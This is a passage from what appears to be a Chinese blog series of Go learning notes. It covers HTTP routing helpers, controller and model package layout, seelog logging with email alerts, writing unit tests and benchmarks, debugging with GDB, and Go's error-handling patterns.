	POST(path string, handler func(w http.ResponseWriter, r *http.Request))
	DELETE(path string, handler func(w http.ResponseWriter, r *http.Request))
	PUT(path string, handler func(w http.ResponseWriter, r *http.Request))
	ALL(path string, handler func(w http.ResponseWriter, r *http.Request))
}

// GET 操作
func GET(path string, handler func(w http.ResponseWriter, r *http.Request)) {
	http.HandleFunc(path, func(w http.ResponseWriter, r *http.Request) {
		if strings.ToLower(r.Method) == "get" {
			handler(w, r)
			return
		}

		http.NotFound(w, r)
		return
	})
}

// POST 操作
func POST(path string, handler func(w http.ResponseWriter, r *http.Request)) {
	http.HandleFunc(path, func(w http.ResponseWriter, r *http.Request) {
		if strings.ToLower(r.Method) == "post" {
			handler(w, r)
			return
		}

		http.NotFound(w, r)
		return
	})
}

// DELETE 操作
func DELETE(path string, handler func(w http.ResponseWriter, r *http.Request)) {
	http.HandleFunc(path, func(w http.ResponseWriter, r *http.Request) {
		if strings.ToLower(r.Method) == "delete" {
			handler(w, r)
			return
		}

		http.NotFound(w, r)
		return
	})
}

// PUT 操作
func PUT(path string, handler func(w http.ResponseWriter, r *http.Request)) {
	http.HandleFunc(path, func(w http.ResponseWriter, r *http.Request) {
		if strings.ToLower(r.Method) == "put" {
			handler(w, r)
			return
		}

		http.NotFound(w, r)
		return
	})
}

// ALL 操作
func ALL(path string, handler func(w http.ResponseWriter, r *http.Request)) {
	http.HandleFunc(path, func(w http.ResponseWriter, r *http.Request) {
		handler(w, r)
		return
	})
}

从上面的代码可以看出，是存在重复的代码的，应该是有优化的方式的，暂时我是没有想到

然后看下调用方式

package router

import (
	"github.com/durban89/wiki/controllers/article"
)

// Routes 操作
func Routes() {
	// 文章
	GET("/articles/update/", article.Update)
	GET("/articles/view/", article.View)
	GET("/articles/", article.Item)
}

有木有感觉清爽了很多，同时也由于控制器层做了修改，这样的调用方式，就感觉一目了然，很清爽

修改控制器（controller）

以前认为跟其他语言可以类似的做到在controller下放一个文件就可以方便的调用控制器的方法，但是在Golang实际上不建议这样做的，Golang给我的理解是功能就要以一个单独的包存在，包与包之间是不能冲突的，但是实际上我们一个控制器会用到的方法，在另外一个控制器也可能用得到，所以以分包的方式反而会容易解决很多问题，比如下面的模型修改也是类似的。controllers目录下的文件结构如下

.
├── article
│ └── article.go
├── welcome
 └── welcome.go

这样的话我可以在article.go和welcome.go写同样的方法而不会相互冲突，同时最大的好处是我能为每个单独的控制器也单元测试，这个是最主要的。分开有时让我们的代码看起来更加清晰看下article.go的中的部分代码

package article

import (
	"fmt"
	"html/template"
	"net/http"
	"time"

	"github.com/durban89/wiki/config"
	"github.com/durban89/wiki/helpers"
	"github.com/durban89/wiki/models"
	"github.com/durban89/wiki/models/article"
)

// Update 更新文章
func Update(w http.ResponseWriter, r *http.Request) {
	http.NotFound(w, r)
	return
}

// View 文章详情
func View(w http.ResponseWriter, r *http.Request) {
	id := r.URL.Query().Get("id")

	if id == "" {
		http.NotFound(w, r)
		return
	}

	// model 数据检索查询
	var articleModel article.Article

	var autokid int64
	var title string
	selectField := models.SelectValues{
		"autokid": &autokid,
		"title": &title,
	}

	where := models.WhereValues{
		"autokid": models.WhereCondition{
			Operator: "=",
			Value: id,
		},
	}

	err := articleModel.QueryOne(selectField, where)

	if err != nil {
		fmt.Println(err)
		http.NotFound(w, r)
		return
	}

	// 视图渲染
	t, err := template.ParseFiles(config.TemplateDir + "/view.html")

	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	err = t.Execute(w, struct {
		Autokid int64
		Title string
		Body string
		Script string
		Html string
	}{
		Autokid: autokid,
		Title: title,
		Body: "dddd",
		Script: "",
		Html: "",
	})

	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	return
}

// Item 列表
func Item(w http.ResponseWriter, r *http.Request) {
	var siteName string
	cookie, err := r.Cookie("site_name_cookie")

	if err != nil {
		expired := time.Now().Add(365 * 24 * time.Hour)
		cookie := http.Cookie{
			Name: "site_name_cookie",
			Value: "gowhich_cookie",
			Expires: expired,
		}

		http.SetCookie(w, &cookie)
	} else {
		siteName = cookie.Value
	}

	var articleModel article.Article

	var autokid int64
	var title string
	selectField := models.SelectValues{
		"autokid": &autokid,
		"title": &title,
	}

	where := models.WhereValues{}

	qr, err := articleModel.Query(selectField, where, 0, 10)

	if err != nil {
		fmt.Println(err)
		http.NotFound(w, r)
		return
	}

	t, err := template.ParseFiles(config.TemplateDir + "/item.html")

	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	err = t.Execute(w, struct {
		Data []models.SelectResult
		Cookie string
	}{
		Data: qr,
		Cookie: siteName,
	})

	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
}

修改模型（model）

根据上面的控制器修改的逻辑，模型的修改的逻辑也是类似的。models目录下的文件结构类似如下

.
├── article
│ └── article.go

看下 article.go中的内容

package article

import (
	"github.com/durban89/wiki/models"
)

var tableName = "article"

// Article 模型
type Article struct {
	models.ModelProperty
}

// Property 属性
type Property struct {
	Autokid string
	Title string
}

如果看过我之前的文章应该会多多少少了解了我在models中做的事情，其实这里的逻辑涉及到一个继承的概念

// Article 模型
type Article struct {
	models.ModelProperty
}

主要是上面这段代码

最后想说的是，通过这样的修改布局，创建模型和控制器的话，代码就会很舒畅，有种似曾相识的感觉。

代码库如下，本篇文章中涉及到的都在这里的

https://github.com/durban89/wiki_blog.git
tag: 1.2.1

Go基础学习记录之部署和维护(一)

Mon, 04 Aug 2025 11:39:21 +0000

到目前为止，已经分享了在Go中开发，调试和测试Web应用程序的基础知识。然而，正如人们常说的那样：最后10％的开发需要90％的时间。在本次分享中，我们将强调最后10％的应用程序开发，以便真正制作可靠和高质量的Web应用程序。在第一部分中，我们将研究生产服务如何生成日志以及记录自身的过程。第二部分将描述处理运行时错误，以及如何在发生错误时对其进行管理，以便最大限度地减少对最终用户的影响。在第三部分中，我们讨论了部署独立Go程序的主题，这一开始可能很棘手。您可能知道，Go程序不能像使用C语言一样使用守护程序编写。我们将讨论如何在Go中管理后台进程。最后，我们的第四部分和最后一部分将介绍在Go中备份和恢复应用程序数据的过程。我们将看一些技术，以确保在发生崩溃时，我们将能够保持数据的完整性。

日志

我们希望构建能够跟踪整个执行过程中发生的事件的Web应用程序，将它们组合到一个位置，以便以后轻松访问，当我们不可避免地需要执行调试或优化任务时。Go提供了一个简单的日志包，我们可以用它来帮助我们实现简单的日志记录功能。可以使用Go的fmt软件包打印日志，该软件包称为内部错误处理函数，用于一般错误日志记录。但是，Go的标准包仅包含用于记录的基本功能。如果您的需求更加复杂，我们可以使用许多第三方日志工具来补充它（类似于log4j和log4cpp的工具，如果您曾经不得不处理Java或C ++中的日志记录）。Go中一个流行的，功能齐全的开源日志工具是seelog日志框架。让我们来看看如何使用seelog在Go应用程序中执行日志记录。

seelog简介

Seelog是Go的日志框架，它提供了一些简单的功能来实现日志记录任务，如过滤和格式化。其主要特点如下：

通过XML动态配置;您可以动态加载配置参数，而无需重新编译程序
支持热更新，无需重启应用程序即可动态更改配置
支持多输出流，可以同时将日志输出管道输出到多个流，例如文件流，网络流等。
支持不同的日志输出
- 命令行输出
- 文件输出
- 缓存输出
- 支持日志轮换
- SMTP邮件

以上只是seelog功能的部分列表。要充分利用seelog的所有功能，请查看其官方维基，其中详细说明了您可以使用它做什么。让我们看看我们如何在项目中使用seelog：

首先安装seelog：

go get -u github.com/cihub/seelog

然后让我们写一个简单的例子：

package main

import log "github.com/cihub/seelog"

func main() {
 defer log.Flush()
 log.Info("Hello from Seelog!")
}

编译并运行该程序。如果您在应用程序日志中看到来自seelog的Hello，则已成功安装seelog并且运行正常。

使用seelog自定义日志处理

Seelog支持自定义日志处理。以下代码段基于其程序包的自定义日志处理部分：

package logs

import (
 "errors"
 "fmt"
 seelog "github.com/cihub/seelog"
 "io"
)

var Logger seelog.LoggerInterface

func loadAppConfig() {
 appConfig := `
<seelog minlevel="warn">
 <outputs formatid="common">
 <rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/>
 <filter levels="critical">
 <file path="/data/logs/critical.log" formatid="critical"/>
 <smtp formatid="criticalemail" senderaddress="[email protected]" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
 <recipient address="[email protected]"/>
 </smtp>
 </filter>
 </outputs>
 <formats>
 <format id="common" format="%Date/%Time [%LEV] %Msg%n" />
 <format id="critical" format="%File %FullPath %Func %Msg%n" />
 <format id="criticalemail" format="Critical error on our server!\n %Time %Date %RelFile %Func %Msg \nSent by Seelog"/>
 </formats>
</seelog>
`
 logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
 if err != nil {
 fmt.Println(err)
 return
 }
 UseLogger(logger)
}

func init() {
 DisableLog()
 loadAppConfig()
}

// DisableLog disables all library log output
func DisableLog() {
 Logger = seelog.Disabled
}

// UseLogger uses a specified seelog.LoggerInterface to output library log.
// Use this func if you are using Seelog logging system in your app.
func UseLogger(newLogger seelog.LoggerInterface) {
 Logger = newLogger
}

以上实现了三个主要功能：

DisableLog

初始化禁用seelog的全局变量Logger，主要是为了防止记录器被重复初始化

LoadAppConfig

根据配置文件初始化seelog的配置设置。在我们的示例中，我们从内存中的字符串中读取配置，当然，您也可以从XML文件中读取它。在配置中，我们设置以下参数：

Seelog

minlevel参数是可选的。如果已配置，将记录大于或等于指定级别的日志记录级别。可选的maxlevel参数类似地用于配置所需的最大日志记录级别。

Outputs

配置输出目的地。在我们的特定情况下，我们将记录数据引导到两个输出目的地。第一个是滚动日志文件，我们不断保存最新的日志记录数据窗口。第二个目标是过滤日志，仅记录严重级别错误。我们还将其配置为在发生这些类型的错误时通过电子邮件提醒我们。

Formats

定义各种日志记录格式。您可以使用自定义格式或预定义格式 - 可以在seelog的wiki上找到预定义格式的完整列表

UseLogger

将当前记录器设置为我们的日志处理器

上面，我们定义并配置了一个自定义日志处理包。以下代码演示了我们如何使用它：

package main

import (
 "net/http"
 "project/logs"
 "project/configs"
 "project/routes"
)

func main() {
 addr, _ := configs.MainConfig.String("server", "addr")
 logs.Logger.Info("Start server at:%v", addr)
 err := http.ListenAndServe(addr, routes.NewMux())
 logs.Logger.Critical("Server err:%v", err)
}

邮件通知

上面的示例说明了如何使用seelog设置电子邮件通知。如您所见，我们使用以下smtp配置：

<smtp formatid="criticalemail" senderaddress="xxx@xxx" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
 <recipient address="xxx@xxx"/>
</smtp>

我们通过critalemail配置设置警报消息的格式，提供我们的邮件服务器参数以便能够接收它们。我们还可以将通知程序配置为使用收件人配置向其他用户发送警报。为每个额外的收件人添加一行是一件简单的事情。

要测试此代码是否正常工作，您可以向应用程序添加假的关键消息，如下所示：

logs.Logger.Critical("test Critical message")

完成测试后，不要忘记删除它，或者当您的应用程序上线时，您的收件箱可能会充斥着电子邮件通知。

现在，只要我们的应用程序在线时记录关键消息，您和指定的收件人就会收到通知电子邮件。然后，您和您的团队可以及时处理并纠正这种情况。

使用应用程序日志

对于日志，每个应用程序的用例可能会有所不同。例如，有些人使用日志进行数据分析，其他人则进行性能优化。某些日志用于分析用户行为以及人们如何与您的网站进行互动。当然，有些日志只是用于记录应用程序事件作为查找问题的辅助数据。

例如，假设我们需要跟踪用户登录系统的尝试。这涉及将成功和不成功的登录尝试记录到我们的日志中。我们通常使用"Info"日志级别来记录这些类型的事件，而不是像"warn"那样更严重的事件。如果您使用的是linux类型的系统，则可以使用grep命令从日志中方便地查看所有不成功的登录尝试，如下所示：

# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password

这样，我们可以在应用程序日志中轻松找到相应的信息，这可以帮助我们在需要时执行统计分析。此外，我们还需要考虑高流量Web应用程序生成的日志大小。这些日志有时会不可预测地增长。要解决此问题，我们可以使用logrotate配置设置seelog，以确保单个日志文件不会占用过多的磁盘空间。

小结

在本次分享中，我们已经了解了seelog的基础知识以及如何使用它构建自定义日志记录系统。我们看到我们可以轻松地将seelog配置为我们需要的强大的日志处理系统，使用它为我们提供可靠的数据源以供分析。通过日志分析，我们可以优化我们的系统，并在问题出现时轻松找到问题的根源。此外，seelog还提供各种默认日志级别。我们可以将minlevel配置与日志级别结合使用，以轻松设置测试或发送自动通知消息。

Go基础学习记录之编写测试用例

Mon, 04 Aug 2025 11:39:18 +0000

在开发过程中，非常重要的一步是测试我们的代码以确保其质量和完整性。我们需要确保每个函数都返回预期的结果，并且我们的代码执行得最佳。我们已经知道单元测试的重点是在程序的设计或实现中发现逻辑错误。它们用于在早期检测和暴露代码中的问题，以便我们可以在它们失控之前更容易地修复它们。我们还知道，性能测试是为了优化我们的代码而进行的，这样它在负载下是稳定的，并且可以保持高水平的并发性。在本篇文章中，我们将看一些关于如何在Go中实现单元和性能测试的常见问题。

Go语言带有一个名为testing的轻量级测试框架，我们可以使用go test命令执行单元和性能测试。Go的测试框架与测试其他语言的框架类似。您可以使用它们开发各种测试套件，其中可能包括单元测试，基准测试，压力测试等测试。让我们逐步了解Go中的测试。

如何编写测试用例

由于go test命令只能在包含所有相应文件的目录中执行，因此我们将创建一个新的项目目录gotest，以便我们所有的代码和测试代码都在同一目录中。

让我们继续在名为gotest.go和gotest_test.go的目录中创建两个文件

Gotest.go ：这个文件声明了我们的包名，并且有一个执行除法操作的函数：

package gotest

import (
 "errors"
)

func Division(a, b float64) (float64, error) {
 if b == 0 {
 return 0, errors.New("Divisor can not be 0")
 }
 return a / b, nil
}

Gotest_test.go：这是我们的单元测试文件。请记住以下测试文件的原则：
文件名必须以_test.go结尾，以便go测试可以找到并执行相应的代码
您必须导入测试包
所有测试用例函数都以Test开头
测试用例遵循源代码顺序
TestXxx()形式的测试函数采用testing.T参数;我们可以使用此类型来记录错误或获取测试状态
在函数TestXxx(t * testing.T)的函数中，Xxx部分可以是任何字母数字组合，但第一个字母不能是小写字母[az]。例如，Testintdiv将是无效的函数名称。
通过调用testing.T中的Error，Errorf，FailNow，Fatal或FatalIf测试方法之一。对我们的测试函数，我们可能无法通过测试。另外，我们可以调用testing.T的Log方法.T来记录错误日志中的信息。

这是我们的测试代码：

package gotest

import (
 "testing"
)

func Test_Division_1(t *testing.T) {
 // try a unit test on function
 if i, e := Division(6, 2); i != 3 || e != nil { 
 // If it is not as expected, then the test has failed 
 t.Error("division function tests do not pass ") 
 } else {
 // record the expected information
 t.Log("first test passed ") 
 }
}

func Test_Division_2(t *testing.T) {
 t.Error("just does not pass")
}

在项目目录中执行go test时，它将显示以下信息：

--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.013s

我们可以从这个结果中看到第二个测试函数没有通过，因为我们使用t.Error在死胡同中写了。但是我们的第一个测试功能呢？默认情况下，执行go test不会显示测试结果。我们需要提供详细参数-v 比如 go test -v来显示以下输出：

=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.012s

以上输出详细显示了我们的测试结果。我们看到测试函数1 Test_Division_1通过，测试函数2 Test_Division_2失败，最后得出结论我们的测试套件没有通过。接下来，我们使用以下代码修改测试功能2：

func Test_Division_2(t *testing.T) {
 // try a unit test on function
 if _, e := Division(6, 0); e == nil { 
 // If it is not as expected, then the error
 t.Error("Division did not work as expected.") 
 } else {
 // record some of the information you expect to record
 t.Log("one test passed.", e) 
 }
}

我们再次执行go test -v。现在应显示以下信息 - 测试套件已通过〜：

=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
gotest_test.go: 20: one test passed. divisor can not be 0
PASS
ok gotest 0.013s

如何写压力测试

压力测试用于检测功能性能，并且与单元测试有一些相似之处（我们不会在此处讨论），但是我们需要注意以下几点：

压力测试必须遵循以下格式，其中XXX可以是任何字母数字组合，其第一个字母不能是小写字母。 func BenchmarkXXX (b *testing.B){...}
默认情况下，Go测试不执行功能压力测试。如果要执行压力测试，则需要使用以下格式设置标志-test.bench="test_name_regex"。例如，要在套件中运行所有压力测试，您可以运行go test -test.bench=".*"。
在压力测试中，请记住使用testing.B.N任何循环体，以便测试可以正常运行。
和以前一样，测试文件名必须以_test.go结尾

在这里，我们创建一个名为webbench_test.go的压力测试文件：

package gotest

import (
 "testing"
)

func Benchmark_Division(b *testing.B) {
 for i := 0; i < b.N; i++ { // use b.N for looping
 Division(4, 5)
 }
}

func Benchmark_TimeConsumingFunction(b *testing.B) {
 b.StopTimer() // call the function to stop the stress test time count

 // Do some initialization work, such as reading file data, database connections and the like,
 // So that our benchmarks reflect the performance of the function itself

 b.StartTimer() // re-start time
 for i := 0; i < b.N; i++ {
 Division(4, 5)
 }
}

然后我们执行go test -file webbench_test.go -test.bench =".*"命令，它输出以下结果：

PASS
Benchmark_Division 500000000 7.76 ns/ op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op
ok gotest 9.364s

上述结果表明我们没有执行任何TestXXX单元测试功能，而只执行了BenchmarkXXX测试（完全符合预期）。第一个Benchmark_Division测试显示我们的Division（）函数执行了5亿次，平均执行时间为7.76ns。第二个Benchmark_TimeConsumingFunction显示我们的TmeConsumingFunction执行了5亿次，平均执行时间为7.80ns。最后，它输出我们的测试套件的总执行时间。

小结

从我们在Go中对单元和压力测试的简短讨论中，我们可以看到测试包非常轻量级，但包含有用的实用程序。我们看到写入单元和压力测试非常简单，使用Go的内置go test命令可以更轻松地运行它们。每次我们修改代码时，我们都可以运行go test来开始回归测试。

Go基础学习记录之使用GDB进行调试(二)

Mon, 04 Aug 2025 11:39:16 +0000

续接上文【Go基础学习记录之使用GDB进行调试(一)】

调试过程

现在，让我们看看下面的代码，看看GDB通常用于调试Go程序：

package main

import (
 "fmt"
 "time"
)

func counting(c chan<- int) {
 for i := 0; i < 10; i++ {
 time.Sleep(2 * time.Second)
 c <- i
 }
 close(c)
}

func main() {
 msg := "Starting main"
 fmt.Println(msg)
 bus := make(chan int)
 msg = "starting a gofunc"
 go counting(bus)
 for count := range bus {
 fmt.Println("count:", count)
 }
}

现在我们编译文件，创建一个名为"gdbfile"的可执行文件：

go build -gcflags "-N -l" gdbfile.go

使用GDB命令开始调试：

gdb gdbfile

首次启动GDB后，您必须输入run命令才能看到程序正在运行。然后，您将看到程序输出如下; 直接从命令行执行程序将输出完全相同的东西：

(gdb) run
Starting program: /home/xxx/gdbfile 
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]

好的，既然我们知道如何启动和运行程序，那么让我们来看看设置断点：

(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xxx/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xxx/gdbfile 
Starting main
[New LWP 3284]
[Switching to LWP 3284]

Breakpoint 1, main.main () at /home/xxx/gdbfile.go:23
23 fmt.Println("count:", count)

在上面的例子中，我们使用b 23命令在代码的第23行设置断点，然后输入run来启动程序。当我们的程序在断点处停止时，我们通常需要查看相应的源代码上下文。在我们的GDB会话中输入list命令，我们可以在断点之前看到五行代码：

(gdb) list
18 fmt.Println(msg)
19 bus := make(chan int)
20 msg = "starting a gofunc"
21 go counting(bus)
22 for count := range bus {
23 fmt.Println("count:", count)
24 }
25 }

现在GDB正在运行当前的程序环境，我们可以访问一些有用的调试信息，我们可以打印出来。要查看相应的变量类型和值，请键入info locals：

(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int

要让程序继续执行直到下一个断点，请输入c命令：

(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]

Breakpoint 1, main.main () at /home/xxx/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xxx/gdbfile.go:23
23 fmt.Println("count:", count)

在每个c之后，代码将执行一次，然后跳转到for循环的下一次迭代。当然，它将继续打印出适当的信息。

假设您需要更改当前执行环境中的上下文变量，跳过该过程然后继续下一步。您可以通过首先使用info locals获取变量状态，然后使用set variable命令来修改它们：

(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xxx/gdbfile.go:23
23 fmt.Println("count:", count)

最后，在运行时，程序会创建一些goroutine。我们可以使用info goroutines看到每个goroutine正在做什么：

(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall 
3 waiting runtime.gosched 
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xxx/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xxx/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xxx/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xxx/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xxx/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xxx/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()

从goroutines命令，我们可以更好地了解Go的运行时系统内部正在做什么; 清楚地显示每个功能的调用顺序。

小结

在本篇文章中，我们介绍了一些可用于调试Go应用程序的GDB调试器的基本命令。其中包括run，print，info，set variable，continue，list和break命令等。从上面的简单示例中，我希望您能够更好地了解调试过程如何在Go中使用GDB调试器。如果您想获得更多调试技巧，请参阅其官方网站上的GDB手册。

Go基础学习记录之使用GDB进行调试(一)

Mon, 04 Aug 2025 11:39:12 +0000

在任何应用程序的开发过程中，开发人员总是需要执行某种代码调试。只要不明确地需要编译修改，PHP，Python和大多数其他动态语言都可以在运行时进行修改。我们可以在动态操作环境中轻松打印数据，输出更改并直接打印变量信息。在Go中，您当然可以使用Printlns对代码进行散布以显示用于调试目的的变量信息，但是每次都需要重新编译代码的任何更改。这很快就会变得很麻烦。如果您使用Python或Javascript编程，您将知道前者提供了诸如pdb和ipdb之类的工具用于调试，而后者具有类似的工具，能够动态显示变量信息并促进单步调试。幸运的是，Go本身支持提供此类调试功能的类似工具：GDB。本篇文章讲介绍使用GDB调试Go应用程序。

GDB调试配置文件

GDB是一个功能强大的调试工具，面向类似UNIX的系统，由FSF（自由软件基金会）发布。 GDB允许我们执行以下操作：

可以根据应用程序的特定要求自定义初始设置。
可以进行设置，以便在开发人员控制台中调试的程序在指定的断点处停止（断点可以是条件表达式）。
程序停止后，您可以检查其当前状态以查看发生的情况。
动态更改当前程序的执行环境。

要使用GDB调试Go应用程序，您使用的GDB版本必须大于7.1。

使用-ldflags "-s"将阻止打印标准调试信息
使用-gcflags "-N-l"将阻止Go执行一些自动优化 - 聚合变量，函数等的优化。这些优化可能使GDB很难完成其工作，因此最好在编译时禁用它们使用这些标志。

一些GDB最常用的命令如下：

list

也用于其缩写形式l，list用于显示源代码。默认情况下，它显示十行代码，您可以指定要显示的行。例如，命令列表15显示以线15为中心的十行代码，如下所示。

10 time.Sleep(2 * time.Second)
11 c <- i
12 }
13 close(c)
14 }
15 
16 func main() {
17 msg := "Starting main"
18 fmt.Println(msg)
19 bus := make(chan int)

break

在缩写形式b中也使用break，break用于设置断点，并用作定义断点设置点的参数。例如，b 10在第十行设置断点。

delete

在缩写形式d中也使用delete，删除用于删除断点。设置断点后跟序列号。序列号可以通过info breakpoints命令获得。设置断点的相应序列号显示如下，以设置断点编号。

Num Type Disp Enb Address What
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xxx/gdb.go:23
breakpoint already hit 1 time

backtrace

缩写为bt，此命令用于打印代码的执行，例如：

#0 main.main () at /home/xxx/gdb.go:23
#1 0x000000000040d61e in runtime.main () at /home/xxx/go/src/pkg/runtime/proc.c:244
#2 0x000000000040d6c1 in schedunlock () at /home/xxx/go/src/pkg/runtime/proc.c:267
#3 0x0000000000000000 in ?? ()

info

info命令可以与几个参数结合使用来显示信息。通常使用以下参数：

info locals

显示当前正在执行的程序的变量值

info breakpoints

显示当前设置的断点列表

info goroutines

显示正在运行的goroutine的当前列表，如以下代码所示，*表示当前执行

* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched

缩写为p，此命令用于打印变量或其他信息。它将要打印的变量名称作为参数，当然，还有一些非常有用的函数，如$ len（）和$ cap（），可用于返回当前字符串，切片或映射的长度或容量。

whatis

whatis用于显示当前变量类型，后跟变量名称。例如，whatis msg，将输出以下内容：

type = struct string

缩写为n，next用于单步调试以跳到下一步。当有断点时，您可以输入n跳转到下一步继续

continue

缩写为c，continue用于跳出当前断点，后面可以跟一个参数N，后者指定跳过断点的次数

set variable

此命令用于更改进程中变量的值。它可以像这样使用：set variable <var> = <value>

未完待续…

Go基础学习记录之错误处理

Mon, 04 Aug 2025 11:39:09 +0000

错误处理

Go的主要设计考虑因素植根于以下思想：简单，清晰，简洁的语法（类似于C）和明确且不包含任何隐藏或意外事物的语句。 Go的错误处理方案以其实现的方式反映了所有这些原则。如果您熟悉C语言，您将知道返回-1或NULL值以指示发生错误是很常见的。但是，不熟悉C的API的用户将无法准确知道这些返回值的含义。在C中，值0表示失败是否成功并不明确。另一方面，Go明确定义了一个名为error的类型，其唯一目的是表达错误。每当函数返回时，我们检查错误变量是否为nil以确定操作是否成功。例如，os.Open函数失败，它将返回一个非零错误变量。

func Open(name string) (file * File, err error)

这是我们如何在os.Open中处理错误的一个例子。首先，我们尝试打开一个文件。当函数返回时，我们通过将错误返回值与nil进行比较来检查它是否成功，如果它是非零值，则调用log.Fatal输出错误消息：

f, err := os.Open("filename.ext")
if err != nil {
 log.Fatal(err)
}

与os.Open函数类似，Go的标准包中的函数都返回错误变量以便于错误处理。本节将详细介绍错误类型的设计，并讨论如何正确处理Web应用程序中的错误。

错误类型

error是具有以下定义的接口类型：

type error interface {
 Error() string
}

error是内置接口类型。我们可以在下面的内置包中找到它的定义。我们还有很多内部包在名为errorString的私有结构中使用错误，它实现了错误接口：

// errorString is a trivial implementation of error.
type errorString struct {
 s string
}

func (e *errorString) Error() string {
 return e.s
}

您可以通过errors.New将常规字符串转换为errorString，以获得满足错误接口的对象。其内部实施如下:

// New returns an error that formats as the given text.
func New(text string) error {
 return &errorString{text}
}

以下示例演示了如何使用errors.New：

func Sqrt(f float64) (float64, error) {
 if f < 0 {
 return 0, errors.New("math: square root of negative number")
 }
 // implementation
}

在以下示例中，我们将负数传递给Sqrt函数。检查err变量，我们使用简单的nil比较检查错误对象是否为非零。比较的结果是正确的，因此调用fmt.Println（fmt包在处理错误调用时调用错误方法）以输出错误。

f, err := Sqrt(-1)
if err != nil {
 fmt.Println(err)
}

自定义错误

通过以上描述，我们知道go错误是一个接口。通过定义实现此接口的结构，我们可以实现它们的错误定义。以下是JSON包中的示例：

type SyntaxError struct {
 msg string // error description
 Offset int64 // where the error occurred
}

func (e * SyntaxError) Error() string {return e.msg}

发生语法错误时，不会在运行时打印错误的偏移字段，但使用类型断言错误类型，您可以打印所需的错误消息：

if err := dec.Decode(&val); err != nil {
 if serr, ok := err.(*json.SyntaxError); ok {
 line, col := findLine(f, serr.Offset)
 return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)
 }
 return err
}

应该注意，当函数返回自定义错误时，返回值设置为推荐的错误类型而不是自定义错误类型。注意不要预先声明自定义错误类型的变量。例如：

func Decode() *SyntaxError {
 // error, which may lead to the caller's err != nil comparison to always be true.
 var err * SyntaxError // pre-declare error variable
 if an error condition {
 err = &SyntaxError{}
 }
 return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true
}

有关详细说明，请参阅http://golang.org/doc/faq#nil_error

上面的示例演示了如何实现简单的自定义错误类型。但是，如果我们需要更复杂的错误处理呢？在这种情况下，我们必须参考net包方法：

package net

type Error interface {
 error
 Timeout() bool // Is the error a timeout?
 Temporary() bool // Is the error temporary?
}

使用类型断言，我们可以检查我们的错误是否为net.Error类型，如以下示例所示。这允许我们改进我们的错误处理 - 如果网络上发生临时错误，它将休眠1秒，然后重试该操作。

if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
 time.Sleep(1e9)
 continue
}

if err != nil {
 log.Fatal(err)
}

错误处理

Go处理错误并以类似C的方式检查函数的返回值，这与大多数其他主要语言的行为不同。这使得代码更加明确和可预测，但也更加冗长。为了减少错误处理代码的冗余，我们可以使用抽象错误处理函数，它们允许我们实现类似的错误处理行为：

func init() {
 http.HandleFunc("/view", viewRecord)
}

func viewRecord(w http.ResponseWriter, r *http.Request) {
 c := appengine.NewContext(r)
 key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
 record := new(Record)
 if err := datastore.Get(c, key, record); err != nil {
 http.Error(w, err.Error(), 500)
 return
 }
 if err := viewTemplate.Execute(w, record); err != nil {
 http.Error(w, err.Error(), 500)
 }
}

上面的示例演示了数据访问和模板调用如何检测到错误。发生错误时，调用统一处理程序http.Error会向客户端返回500错误代码，并显示相应的错误数据。但是当进行越来越多的HandleFunc调用时，错误处理逻辑代码将会增加。我们可以自定义路由器以减少代码（有关更多详细信息，请参阅HTTP的文章）。

type appHandler func(http.ResponseWriter, *http.Request) error

